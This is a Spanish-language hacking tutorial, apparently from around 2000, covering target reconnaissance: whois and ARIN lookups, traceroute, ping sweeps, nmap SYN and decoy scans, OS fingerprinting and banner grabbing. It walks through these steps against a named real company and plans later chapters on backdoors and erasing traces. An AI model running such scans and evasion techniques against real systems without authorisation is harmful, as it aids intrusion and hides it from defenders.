<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificaciÃ³n alguna.</p>
<p>Queda extrictamente prohibida su distribuciÃ³n con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING</p>
<p>Despues de muchas consideraciones acerca de la utilidad de un<br />
protocursillo sobre &#8220;hacking&#8221; he decidido ofrecerlo a los estudiosos y<br />
serios seguidores de es.comp.hackers. Estos capitulos que entregare<br />
durante las siguientes semanas tienen por objeto servir de ayuda a los<br />
que estan empezando en el mundillo del hacking con sanas intenciones y<br />
no para quedarse en lamers o chicos del script (script kiddies) que lo<br />
que hacen es destrozar con armas hechas por otros y que en el fondo ni<br />
comprenden profundamente.</p>
<p>Ruego encarecidamente a los demas miembros del HACKINDEX, como mi<br />
amigo NBK, Seldon, Lokutus, Isocrono, Crino, etc&#8230; que lo usen como<br />
borrador para mejorarlo (si es que quieren tomarse la molestia) e<br />
incluirlo en alguna pagina web destinada a ello. El texto sera llano y<br />
sin tildes para evitar problemas de lectura y esta escrito con el<br />
editor vi. El cursillo (Curso Practico de Hacking o CPH) pretende ser<br />
por entregas dedicadas a cada uno de los pasos fundamentales en el<br />
hacking de una maquina objetivo remota. Cuando me refiero a hacking no<br />
quiere eso decir que me considere yo un hacker ni guru ni ninguna<br />
gaita de esas, sino que es para aproximarme claramente al tema de la<br />
introduccion en sistemas de comprometida seguridad. Hare referencia<br />
fundamentalmente al mundo UNIX y las herramientas seran tambien<br />
programas de aromas unix, scripts en perl o codigo en C. Yo recomiendo<br />
encarecidamente que os aprovisioneis de un sistema Linux para estos<br />
menesteres, ya que la mayoria de las utilidades de red vienen<br />
incluidas, disponemos de un excelente compilador de C, del lenguaje<br />
perl, Tcl, python&#8230; asi como de la posibilidad de instalar muchos<br />
paquetes escritos para unix/linux como Saint, nmap, Nessus&#8230;y un<br />
largo etcetera de ventajas con respecto a Mac o al Windoze.</p>
<p>El estudiante novato debera leer antes que nada la FAQ del grupo, que<br />
puede encontrarla en la pagina de isocrono<br />
(http://www.navegalia.com/hosting/00084/isocrono) tanto la del 98 y 99<br />
como la ultima del 2000. Y hacer hincapie en el &#8220;decalogo del<br />
hacker&#8221;. Hay que aprender por puro deleite, no para destrozar<br />
sistemas. En fin, he intentado ajustarme a lo que yo pienso que son<br />
los pasos fundamentales en el hacking de sistemas unix:</p>
<p>1. Merodeo y rastreo del objetivo</p>
<p>2. Extraccion de informacion critica del objetivo</p>
<p>3. Introduccion en el sistema</p>
<p>4. Aumento de privilegios (acceso a root, si la introduccion no<br />
conduce directamente a el)</p>
<p>5. Maniobras oscuras (evitando ser notados, instalando sniffers,<br />
dejando puertas traseras y troyanos)</p>
<p>6. Eliminando huellas</p>
<p>Aqui va el primer capitulo.</p>
<p>Saludos a todos,</p>
<p>LECTER</p>
<p>CPH. CAPITULO 1. MERODEO Y RASTREO DEL OBJETIVO</p>
<p>Un explorador no explora a tontas y locas&#8230;sabe bien cual es su<br />
objetivo=2E Por lo tanto, lo que evidentemente hemos de subrayar como<br />
fundamental es la informacion que tenemos del sistema objetivo. Puede<br />
ser que conozcamos su nombre de dominio, su IP, y muchos datos mas,<br />
pero puede ser que para comenzar tengamos algo asi como poco menos que<br />
el nombre de la organizacion o la entidad &#8220;organizacion<br />
objetivo&#8221;. Afortunadamente desde nuestra maquina linux podemos usar la<br />
utilidad whois que permitira hacer consultas en la base de datos<br />
InterNIC, simplemente haciendo</p>
<p>$&gt;whois &#8220;organizacion objetivo&#8221;</p>
<p>y de este modo podremos ver muchos dominios diferentes asociados a tal<br />
entidad. No obstante los servidores de InterNIC truncan los resultados<br />
a 50 items, con lo que puede convenirnos consultar en<br />
http://www.websitez.com, que proporciona todos los registros asociados<br />
con la entidad buscada. Una vez conseguido el listadopodemos consultar<br />
los dominios relacionados (p.ej. objetivo.net) mediante</p>
<p>$&gt;whois objetivo.net</p>
<p>El resultado nos proporciona:<br />
-Domain Name<br />
-Registrar<br />
-Whois server<br />
-Referral ULR<br />
-Name Servers<br />
-Update Date</p>
<p>De este modo conseguimos informacion vinculada el objetivo y los<br />
servidores DNS. Ademas tambien la fecha de actualizacion nos informa<br />
de la precision de la informacion contenida en el objetivo. Si hace<br />
mucho tiempo que no se actualiza, podria estar obsoleta. Pero, una<br />
vez hemos consultado las bases de datos sobre los dominios es menester<br />
hacer lo propio sobre redes para comprobar si hay alguna red real<br />
asociada al dominio objetivo. Para ello podemos usar la base de datos<br />
de ARIN. Para ello haremos</p>
<p>$&gt;whois X.X.X.X@whois.arin.net</p>
<p>donde X.X.X.X es la IP de algun servidor DNS de los ya<br />
vistos. Revisando los datos podemos saber quien es el proveedor<br />
principal de la red central y la clase de red (ya que nos proporciona<br />
el intervalo de IPs) a que nuestro objetivo esta asociado.</p>
<p>Por ejemplo, supongamos que estoy interesado en la empresa transmeta<br />
(donde trabaja Linus Benedict Torvalds) pero no se nada mas.</p>
<p>$&gt;whois &#8220;transmeta&#8221;</p>
<p>[rs.internic.net]</p>
<p>Whois Server Version 1.1</p>
<p>Domain names in the .com, .net, and .org domains can now be registered<br />
with many different competing registrars. Go to<br />
http://www.internic.net for detailed information.</p>
<p>TRANSMETA.ORG<br />
TRANSMETA.NET<br />
TRANSMETA.COM</p>
<p>To single out one record, look it up with &#8220;xxx&#8221;, where xxx is one of<br />
the of the records displayed above. If the records are the same, look<br />
them up with &#8220;=3Dxxx&#8221; to receive a full display for each record.</p>
<p>&gt;&gt;&gt; Last update of whois database: Tue, 1 Aug 00 04:13:33 EDT &lt;&lt;&lt;</p>
<p>The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and<br />
Registrars.</p>
<p>Con esto me pongo a probar. Supongamos que me da por empezar por<br />
transmeta.com</p>
<p>$&gt;whois transmeta.com</p>
<p>[rs.internic.net]</p>
<p>Whois Server Version 1.1</p>
<p>Domain names in the .com, .net, and .org domains can now be registered<br />
with many different competing registrars. Go to<br />
http://www.internic.net for detailed information.</p>
<p>Domain Name: TRANSMETA.COM<br />
Registrar: NETWORK SOLUTIONS, INC.<br />
Whois Server: whois.networksolutions.com<br />
Referral URL: www.networksolutions.com<br />
Name Server: NS1.TRANSMETA.COM<br />
Name Server: NS2.TRANSMETA.COM<br />
Updated Date: 06-jan-2000</p>
<p>&gt;&gt;&gt; Last update of whois database: Tue, 1 Aug 00 04:13:33 EDT &lt;&lt;&lt;</p>
<p>The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and<br />
Registrars.</p>
<p>Bueno&#8230;no se actualiza desde enero de 2000, pero me interesa. Voy a<br />
utilizar la utilidad nslookup para conseguir las IPs de transmeta.com<br />
y los dos DNS servers De este modo consigo</p>
<p>Name: transmeta.com<br />
Addresses: 209.10.41.231, 209.10.41.232 (puede ser una pagina web y su espejo o gemelo)<br />
Name: ns1.transmeta.com<br />
Address: 209.10.41.227<br />
Name: ns2.transmeta.com<br />
Address: 209.10.217.68</p>
<p>Ahora voy a buscar si existe una red global que contenga el objetivo:</p>
<p>$&gt;whois 209.10.41.227@whois.arin.net</p>
<p>[whois.arin.net]<br />
Globix Corporation (NETBLK-GLOBIXBLK3)<br />
295 Lafayette St- 3rd Fl<br />
NY, NY 10012</p>
<p>Netname: GLOBIXBLK3<br />
Netblock: 209.10.0.0 &#8211; 209.11.159.255<br />
Maintainer: PFMC</p>
<p>Coordinator:<br />
Hostmaster, Globix Corporation (GCH2-ARIN) arin-admin@GLOBIX.NET<br />
212.334.8500 (FAX) 212.334.8615</p>
<p>Domain System inverse mapping provided by:</p>
<p>Z1.NS.NYC1.GLOBIX.NET 209.10.66.55<br />
Z1.NS.SJC1.GLOBIX.NET 209.10.34.55<br />
Z1.NS.LHR1.GLOBIX.NET 212.111.32.38</p>
<p>ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE</p>
<p>Record last updated on 10-Jul-2000.<br />
Database last updated on 1-Aug-2000 06:07:11 EDT.</p>
<p>The ARIN Registration Services Host contains ONLY Internet<br />
Network Information: Networks, ASN&#8217;s, and related POC&#8217;s.<br />
Please use the whois server at rs.internic.net for DOMAIN related<br />
Information and whois.nic.mil for NIPRNET Information.</p>
<p>De este modo hemos sabido que la red global es GLOBIXBLK3 de Globix<br />
Corporation y que va desde la IP 209.10.0.0 hasta la<br />
209.11.159.255. Tambien se nos ofrecen datos acerca del Coordinador<br />
que muy bien podrian servir para ciertas tecnicas de ingenieria social<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Ahora no vendria nada mal determinar algo de la topologia rutas de<br />
acceso potencial de la red. Con el programa traceroute podemos<br />
descubrir la secuencia de hosts hasta llegar al objetivo e identificar<br />
dispositivos de control de acceso como routers o cortafuegos.</p>
<p>$&gt; traceroute transmeta.com</p>
<p>1 SEVI-X9.red.retevision.es (62.81.56.41) 138.486 ms 119.613 ms 130.83 ms<br />
2 SEVI-R1.red.retevision.es (62.81.56.28) 139.057 ms SEVI-R3.red.retevision.es (62.81.56.27) 120.209 ms SEVI-R1.red.retevision.es (62.81.56.28) 129.753 ms<br />
3 SEVI-R15.red.retevision.es (62.81.55.229) 120.721 ms 119.941 ms 129.843 ms<br />
4 BARC-R16.red.retevision.es (62.81.125.3) 139.933 ms 139.88 ms 150.833 ms<br />
5 BARC-R0.red.retevision.es (62.81.63.193) 159.007 ms 139.807 ms 149=2E913 ms<br />
6 mi4-retevision-E3-2-es.seabone.net (195.22.192.229) 161.544 ms 159.903 ms 159.887 ms<br />
7 gi-eth-2-mi5.seabone.net (195.22.205.235) 239.99 ms 159.912 ms 159=2E894 ms<br />
8 itmil201-ta-p5-1-0.ebone.net (195.158.241.117) 159.935 ms 149.876 ms 169.88 ms<br />
9 chgen102-tc-p0-1.ebone.net (195.158.241.37) 189.92 ms 169.909 ms 169.884 ms<br />
10 chgen101-tc-p3-0.ebone.net (195.158.237.34) 180.842 ms * 240.1 ms<br />
11 frpar205-tc-p1-0.ebone.net (195.158.228.22) 189.865 ms 178.867 ms 180.005 ms<br />
12 gblon303-tc-p1-0.ebone.net (195.158.228.150) 199.884 ms 199.848 ms 189.897 ms<br />
13 gblon504-tc-p1-0.ebone.net (195.158.232.33) 199.908 ms 199.824 ms 199.944 ms<br />
14 195.158.232.66 (195.158.232.66) 189.855 ms 189.901 ms 199.922 ms<br />
15 pos5-0-0-core2.lhr1.globix.net (209.10.12.197) 189.851 ms * pos2-2-core1.lhr1.globix.net (209.10.12.193) 230.109 ms<br />
16 170.atm0-0-core2.sjc1.globix.net (209.10.11.70) 359.851 ms 146.atm0-0-core2.sjc1.globix.net (209.10.11.46) 369.861 ms 359.918 ms<br />
17 pos5-0-0-aggr1.sjc1.globix.net (209.10.3.30) 359.882 ms 359.847 ms 370.234 ms<br />
18 v2-edge2.sjc1.globix.net (209.10.3.22) 359.627 ms 369.855 ms 359.959 ms<br />
19 www1.transmeta.com (209.10.41.231) 369.915 ms 379.868 ms 369.896 ms</p>
<p>Por fin&#8230;Parece ser que el =FAltimo eslabon es el servidor web<br />
www1.transmeta.com(una de las IP de transmeta.com, la otra sera el<br />
gemelo www2.transmeta.com) y el anterior a el podria ser un router<br />
frontera. Para conocer los registros de Mail eXchange (MX), es decir<br />
las maquinas que gestionan el correo de nuestro objetivo existe la<br />
utilidad host. Al hacer</p>
<p>$&gt;host transmeta.com</p>
<p>transmeta.com has address 209.10.41.232<br />
transmeta.com has address 209.10.41.231<br />
transmeta.com mail is handled (pri=3D40) by neosilicon.transmeta.com</p>
<p>obtengo el nombre del sistema que gestiona el correo. Esto es<br />
fundamental porque generalmente en los entornos comerciales el correo<br />
se administra en el mismo sistema que el cortafuegos. Con un nslookup<br />
descubrimos que la IP de neosilicon.transmeta.com es 209.10.217.68.</p>
<p>Bueno. Hasta ahora disponemos de una lista de direcciones Ip de red,<br />
servidores DNS, de correo y otras yerbas&#8230;pero =BFsabemos que<br />
sistemas estan activos y accesibles via internet?=BFy que puertos<br />
estan a la escucha? Bien, eso vamos a arreglarlo<br />
inmediatamente. Podriamos hacer barridos ping enviando paquetes ICMP<br />
ECHO(8) para recibir ICMP ECHO REPLY (0) si el destino esta<br />
activo. Mejor que ping es la herramienta fping que &#8220;pregunta&#8221; en<br />
paralelo y permite barrer rapidamente varias direcciones IP. Fping se<br />
usa mediante shell scripts con la utilidad gping (que viene incluida<br />
en fping) junto con el intervalo de IP, por ejemplo</p>
<p>$&gt;gping 209 10 0 0 254 (equivale a 209.10.0.0-209.10.0.254)</p>
<p>devolvera la IP junto con &#8220;is alive&#8221; si el host esta activo&#8230;pero<br />
vamos a pasar a la utilidad mas interesante para la exploracion que es<br />
nmap (www.insecure.org/nmap. Nmap no es solamente un explorador de<br />
puertos: permite hacer como fping barridos ping y determinar el<br />
sistema operativo por rastreo de pila. Cuando el trafico ICMP se<br />
encuentra bloqueado la exploracion de puertos es la mejor tecnica para<br />
encontrar hosts activos. Nmap permite la opcion de hacer TCP ping scan<br />
mediante la opcion -PT en el puerto 80 (puerto comun usado por los<br />
routers frontera para los sistemas de su misma zona y sus cortafuegos<br />
principales. Y permite analizar toda la red indicada como intervalo,<br />
con &#8220;mask&#8221; o utilizando bloques CIDR: por ejemplo 209.10.*.* equivale<br />
a 209.10.0-255.0-255 o usando mask, 209.10.0.0/16. Cualquiera de estas<br />
formas vale para usar con nmap. Si usamos la notaci=F3n de mask IP/n<br />
n=3D0 escanea toda internet y n=3D32 el host particular<br />
correspondiente a dicha IP.la mask /24 barrera una serie de IP<br />
correspondiente a x.x.x.0-225 (red de clase C con mascara de subred<br />
255.255.255.0)y /16 lo hara con una serie correspondiente a una clase<br />
B (x.x.0-255.0-255). Para ello hacemos como root</p>
<p>#&gt;nmap -sP -PT80 209.10-11.0-159.0-255</p>
<p>(barremos toda la red global)</p>
<p>y para cada host activo, aparecera &#8220;Host (x.x.x.x) appears to be up&#8221;.</p>
<p>Las opciones y posibilidades de nmap son grandes; conviene leerse el<br />
manual porque aqui solamente trataremos un nivel muy muy<br />
basico. Podemos realizar una exploracion de puertos sigilosa mediante<br />
un barrido semi abierto (TCP SYN scan) realizado como superusuario:</p>
<p>#&gt;nmap -sS transmeta.com</p>
<p>(los resultados pueden almacenarse en un fichero con la opcion -o<br />
fichero)</p>
<p># Nmap (V. nmap) scan initiated 2.53 as: nmap -sS transmeta.com<br />
Interesting ports on www1.transmeta.com (209.10.41.231):<br />
(The 1521 ports scanned but not shown below are in state: closed)<br />
Port State Service<br />
22/tcp open ssh<br />
80/tcp open http</p>
<p># Nmap run completed at Tue Aug 1 23:17:52 2000 &#8212; 1 IP address (1 host up) scanned in 28 seconds</p>
<p>Como puede verse www1.transmeta.com solamente tiene dos puertos<br />
abiertos, el de secure shell y el de servidor web.</p>
<p>Para que la exploracion sea todavia mas silenciosa conviene hacer el<br />
barrido utilizando se=F1uelos con la opcion -D. Supongamos que estamos<br />
interesados especificamente en una direccion x.x.x.x y en los puertos<br />
25, 139 y 443. Podemos hacer</p>
<p>#&gt;nmap -sS x.x.x.x -D se=F1uelo1, se=F1uelo2, ME -p25, 139, 443</p>
<p>De este modo se realiza un barrido SYN en tales puertos con dos host se=F1uelos 1 y 2. Asi el host escaneado pensara que esta siendo barrido ademas por dichos se=F1uelos. Hay que separar cada maquina se=F1uelo por comas y se puede usar &#8220;ME&#8221; como se=F1uelo que representa la posicion usada por nuestra maquina. Si se coloca ME en la sexta posicion o superior podemos estar casi seguros que no nos rastrearan, pero los hosts usados como se=F1uelos (en este ultimo caso del 1 al 5) han de estar activos porque si no podria producirse un SYN flooding en la maquina escaneada ademas de no ser notados tales se=F1uelos. Si usamos la opcion -I (ident) podemos conocer el nombre del usuario propietario del proceso conectado via TCP, pero para ello hay que hacer la conexion completa TCP (-sT) y seriamos vistos.</p>
<p>Una vez que conocemos los puntos a la escucha en nuestro sistema<br />
destino, el siguiente objetivo es identificar su sistema operativo. El<br />
procedimiento mas comun es mediante telnet al puerto 23; p.ej.</p>
<p>$&gt; telnet 163.143.103.12<br />
=2E&#8230;algunos mensajes tipicos&#8230;.<br />
HP-UX hpux B.10.01 A 9000/715 (ttyp2)<br />
login:</p>
<p>El problema es que muchos administradores eliminan el banner del<br />
sistema operativo, ciertos sistemas dan per se poca informacion y<br />
algunos listillos mienten como bellacos en el banner. De todos modos<br />
aunque el banner este off es posible usar otras argucias con telnet o<br />
netcat</p>
<p>$&gt;telnet ftp.netscape.com 21<br />
=2E&#8230;mensajes&#8230;.<br />
220 ftp29 FTP server (Unix System V Release 4.0)<br />
(entonces hacemos)<br />
SYST<br />
(y nos aparece si hay suerte)<br />
215 UNIX Type: L8 Version: SUNOS</p>
<p>En el caso de web servers con la utilidad netcat (la navaja del<br />
ejercito suizo para estas cuestiones) podemos hacer (p.ej., en<br />
hotbot.com)</p>
<p>$&gt;echo &#8216;GET / HTTP/1.0n&#8217; | nc hotbot.com 80 | egrep &#8216;^Server:&#8217;<br />
(para obtener)<br />
Server: Microsoft-IIS/4.0</p>
<p>Pero, por las otras razones, el procedimiento mas preciso es el<br />
llamado rastreo de pila (Stack fingerprinting). A la hora de escribir<br />
las pilas TCP/IP, cada fabricante suele interpretar a su manera la<br />
normativa RFC especifica y mediante la deteccion de estas diferencias<br />
se pueden realizar suposiciones razonables del sistema operativo. Para<br />
que la fiabilidad sea maxima debe al menos existir un puerto<br />
abierto. Hay dos utilidades que permiten realizar esto y son el ya<br />
celebrado programa nmap y queso. Nmap lo realiza con la opcion -O e<br />
incluso si no hay puertos a la escucha realiza una suposicion del<br />
sistema operativo. Queso hace la deteccion basandose en un unico<br />
puerto que por defecto es el 80, pero que puede cambiarse. Por<br />
ejemplo, parece que v2-edge2.sjc1.globix.net (209.10.3.22) como vimos<br />
al hacet traceroute a transmeta.com, es un router. =BFCual sera el<br />
sistema operativo? Para ello basta con hacer #&gt;nmap -O 209.10.3.22 (o<br />
con la opcion -sS para no ser detectados) y en mi caso no se<br />
encontraron puertos abiertos pero la suposicion del sistema operativo<br />
fue en todos los casos un Cisco Router.</p>
<p>=BFOs acordais del gestor de correo de transmeta.com? Se trataba de<br />
neosilicon.transmeta.com (209.10.217.68) y pensabamos que se trataba<br />
de un posible cortafuegosSi hago #&gt;nmap -sS -O 209.10.217.68 tarda un<br />
monton, pero se observa que tiene abiertos los puertos 25 (gestor de<br />
correo, 21 (servidor ftp) y 53 (domain, consulta de DNS). Si hacemos<br />
la consulta a las bravas con #&gt;nmap -O 209.10.217.68 -p25 nos sale un<br />
Linux 2.0.x y si lo hacemos con #&gt;queso 209.10.217.68:25 nos sale lo<br />
mismo.</p>
<p>Cabria decir que neosilicon.transmeta.com se encarga del correo y el<br />
ftp de transmeta.com. Si nos atrevemos a hacer un telnet a esos<br />
puertos nos sale:</p>
<p>$&gt;telnet 209.10.217.68 25<br />
=2E&#8230;mensajes&#8230;.<br />
220 neosilicon.transmeta.com ESMTP Sendmail 8.9.3 &#8230;</p>
<p>$&gt;telnet 209.10.217.68 21<br />
=2E&#8230;mensajes intimidatorios&#8230;.<br />
220 neosilicon transmeta.com FTP Server (Version wu-2.6.1(1)) ready&#8230;</p>
<p>Y basta por esta entrega.</p>
<p>En el capitulo 2 trataremos de obtener informacion critica del sistema<br />
objetivo: transferencia de zona en DNS, busqueda de cortafuegos y<br />
routers con hping, nmap y netcat, exportacion de archivos NFS,<br />
exportacion de listas de usuarios, aplicaciones RPC, NIS y bugs de los<br />
demonios escuchantes en los puertos tipicos smpt, pop, imap&#8230;</p>
<p>Tened cuidado ahi fuera <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<p>LECTER</p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
